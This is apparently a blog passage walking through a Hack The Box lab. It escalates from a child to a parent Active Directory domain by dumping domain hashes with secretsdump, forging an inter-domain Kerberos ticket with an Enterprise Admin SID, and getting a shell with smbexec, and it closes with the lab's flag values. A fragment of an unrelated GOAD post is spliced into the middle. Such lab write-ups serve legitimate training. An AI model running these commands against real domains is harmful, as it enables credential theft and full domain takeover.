proxychains -q impacket-secretsdump -just-dc -outputfile dcsync.txt -history 'Administrator:P@$$word123!'@127.0.0.1



Abusing the Domain Trust

Enumerate the Domain Trust

There is a bi-directional trust between the parent and child domain
GOAD - part 12 - Trusts
On the previous post (Goad pwning part11) we tried some attacks path with ACL. This post will be on escalation with domain trust (from child to parent domain) and on Forest to Forest trust lateral move.



Enumerate the Child and Parent Domain SIDs

# Send traffic through the SOCKS5 proxy
# It comes out the other side and connectes to 127.0.0.1
# Enumerates the domain info using the authentication provided
# This command gets the SID of the child domain (corp.ghost.htb)

proxychains -q impacket-lookupsid 'corp.ghost.htb/Administrator:P@$$word123!'@127.0.0.1 | grep 'Domain SID'

# Then, do the same for the parent domain (ghost.htb)
# Not sending through the SOCKS5 proxy, as there's no need
# We can authenticate to ghost.htb using corp.ghost.htb due ot the trust

impacket-lookupsid 'corp.ghost.htb/Administrator:P@$$word123!'@10.129.231.105 | grep 'Domain SID'



Forge an Inter-Domain Silver Ticket

💡
Because we dumped the ntds.dit from the child domain using impacket-secretsdump earlier, we have the domain trust keys for both directions
Showing the domain trust key for GHOST$ where the other is PRIMARY$
# -nthash : NT hash for the GHOST$ trust key
# -domain : child domain
# -domain-sid : child domain SID (as enumerated earlier)
# -extra-sid : <PARENT_SID>-519 (Enterprise Admin RID is 519) forges our privileged access
# -spn : Create a silver for the krbtgt of the parent domain

impacket-ticketer -nthash 'a7c7bef8161f0f76ce6ce6266587a07d' \
-domain 'corp.ghost.htb' \
-domain-sid 'S-1-5-21-2034262909-2733679486-179904498' \
-extra-sid 'S-1-5-21-4084500788-938703357-3654145966-519' \
-spn 'krbtgt/ghost.htb' nosuchuser



Use KRBTGT Silver Ticket to Create a TGS

💡
Because we've forged the TGT using the KRBTGT hash, and because we've spoofed our privileges to include Enterprise Admin (RID 519), we will create a SMB ticket and give ourselves privileged access to the service
# KRB5CCNAME : command variable assignment pointing to the silver ticket
# -k : use kerberos authentication
# -no-pass : don't prompt for password
# -spn : SMB server on the parent DC
# last argument is positional and is the silver ticket holder

KRB5CCNAME=nosuchuser.ccache impacket-getST -k -no-pass \
-spn 'cifs/DC01.ghost.htb' 'ghost.htb/nosuchuser'



Becoming Admin on the Parent Domain

KRB5CCNAME=nosuchuser@cifs_DC01.ghost.htb@GHOST.HTB.ccache impacket-smbexec \
-k -no-pass nosuchuser@DC01.ghost.htb



Flags

C:\Users\justin.bradley\Desktop\user.txt

095004c992a1358ea8290d97198a4074    

C:\Users\Administrator\Desktop\root.txt

a0310f16c7f94dfafe1e00ebd1dc9886
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.